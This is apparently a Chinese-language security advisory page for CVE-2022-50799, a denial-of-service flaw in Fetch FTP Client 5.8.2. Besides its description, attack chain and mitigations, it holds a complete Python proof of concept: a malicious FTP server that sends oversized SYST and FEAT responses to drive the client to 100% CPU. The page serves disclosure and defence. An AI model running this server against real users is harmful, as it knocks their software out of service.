IPBUF安全漏洞报告
English
CVE-2022-50799 CVSS 7.5 高危

CVE-2022-50799 Fetch FTP Client 长响应拒绝服务漏洞

披露日期: 2025-12-30

漏洞信息

漏洞编号
CVE-2022-50799
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Fetch FTP Client

相关标签

拒绝服务Fetch FTP Client高危CVE-2022-50799资源耗尽协议处理漏洞FTPFetch SoftWorksmacOS

漏洞概述

CVE-2022-50799是Fetch SoftWorks公司开发的Fetch FTP Client 5.8.2版本中存在的一个高危拒绝服务漏洞。该漏洞允许远程攻击者通过构造超长的FTP服务器响应(超过2KB)来触发客户端100% CPU占用率,从而导致应用程序无响应或崩溃。漏洞的CVSS评分为7.5,属于高危级别,具有网络可达性、无需认证和无需用户交互即可利用的特点。攻击向量为网络(AV:N),攻击复杂度低(AC:L),无需特权(PR:N)且不需要用户交互(UI:N)。可用性影响为高(A:H),意味着该漏洞主要影响系统的可用性。Fetch FTP Client是一款流行的macOS平台FTP客户端软件,广泛应用于网站管理、文件传输等场景。该漏洞的披露日期为2025年12月30日,发现者为[email protected]。攻击者可以利用该漏洞实施拒绝服务攻击,影响用户的正常工作,尤其是在自动化脚本或批量文件传输场景中影响更为严重。

技术细节

该漏洞源于Fetch FTP Client在处理FTP服务器响应时缺乏适当的长度验证和资源管理机制。当客户端连接到恶意FTP服务器时,服务器可以发送超过2KB的超长响应数据(如对SYST、FEAT等命令的响应)。客户端在解析这些响应时,会将整个响应数据加载到内存中进行处理,导致CPU资源被大量消耗。具体来说,FTP协议规定服务器响应通常为单行或少量多行文本,但恶意服务器可以构造包含大量数据的响应(如包含数千字节的冗余信息)。客户端的响应解析函数在处理这些数据时,会执行字符串处理、内存分配等CPU密集型操作,如果缺乏超时机制或流量限制,这些操作会持续占用CPU资源直到响应解析完成或应用程序崩溃。攻击者可以通过搭建恶意FTP服务器,诱导用户连接并自动触发漏洞,或者在中间人攻击场景中修改正常服务器的响应数据。该漏洞属于协议层面的处理缺陷,与特定的FTP命令实现相关,需要对Fetch FTP Client的源代码进行审计和修复。

攻击链分析

STEP 1
步骤1
攻击者搭建恶意FTP服务器,配置超长响应数据(超过2KB)用于响应SYST、FEAT等FTP命令
STEP 2
步骤2
受害者使用Fetch FTP Client 5.8.2连接攻击者的恶意FTP服务器
STEP 3
步骤3
客户端发送SYST或FEAT命令后,恶意服务器返回包含大量冗余数据(>2KB)的响应
STEP 4
步骤4
Fetch FTP Client接收到超长响应后,在解析过程中消耗大量CPU资源
STEP 5
步骤5
客户端CPU使用率达到100%,导致应用程序无响应或崩溃,造成拒绝服务

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2022-50799 PoC - Fetch FTP Client Long Response DoS This PoC demonstrates how a malicious FTP server can trigger 100% CPU usage in Fetch FTP Client 5.8.2 by sending excessively long responses (>2KB). """ import socket import threading import time class MaliciousFTPServer: def __init__(self, host='0.0.0.0', port=21): self.host = host self.port = port self.server_socket = None def start(self): """Start the malicious FTP server""" self.server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self.server_socket.bind((self.host, self.port)) self.server_socket.listen(5) print(f"[*] Malicious FTP server listening on {self.host}:{self.port}") try: while True: client_socket, addr = self.server_socket.accept() print(f"[+] Connection from {addr}") thread = threading.Thread(target=self.handle_client, args=(client_socket,)) thread.daemon = True thread.start() except KeyboardInterrupt: print("\n[*] Server shutting down...") finally: self.server_socket.close() def handle_client(self, client_socket): """Handle FTP client connection and send malicious responses""" try: # Send FTP welcome message client_socket.send(b"220 Malicious FTP Server\r\n") while True: data = client_socket.recv(1024).decode('utf-8', errors='ignore') if not data: break command = data.strip().upper() if command.startswith("USER"): client_socket.send(b"331 User name okay, need password.\r\n") elif command.startswith("PASS"): client_socket.send(b"230 User logged in.\r\n") elif command.startswith("SYST"): # Send excessively long response (>2KB) to trigger DoS # This causes high CPU usage in vulnerable Fetch FTP Client long_response = "215 " + "A" * 3000 + "\r\n" client_socket.send(long_response.encode()) print(f"[!] Sent malicious SYST response ({len(long_response)} bytes)") elif command.startswith("FEAT"): # Another vector: long FEAT response long_response = "211-Features:\r\n" + " " * 100 + "X" * 3000 + "\r\n211 End\r\n" client_socket.send(long_response.encode()) print(f"[!] Sent malicious FEAT response ({len(long_response)} bytes)") elif command.startswith("QUIT"): client_socket.send(b"221 Goodbye.\r\n") break else: client_socket.send(b"200 Command okay.\r\n") except Exception as e: print(f"[-] Error handling client: {e}") finally: client_socket.close() if __name__ == "__main__": print("=" * 60) print("CVE-2022-50799 - Fetch FTP Client DoS PoC") print("=" * 60) print("\nThis PoC creates a malicious FTP server that sends") print("excessively long responses (>2KB) to trigger high CPU") print("usage in vulnerable Fetch FTP Client 5.8.2 versions.\n") server = MaliciousFTPServer(host='0.0.0.0', port=21) server.start()

影响范围

Fetch FTP Client 5.8.2

防御指南

临时缓解措施
如果无法立即更新软件,可以采取以下临时缓解措施:1)避免连接到不可信的FTP服务器,只使用已知可信的服务器;2)在防火墙层面限制FTP连接,只允许连接到白名单内的服务器IP;3)监控FTP客户端进程的CPU使用情况,发现异常及时终止进程;4)考虑使用其他安全性更高的FTP客户端替代Fetch FTP Client;5)使用VPN等安全通道确保FTP连接的完整性和可信性。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表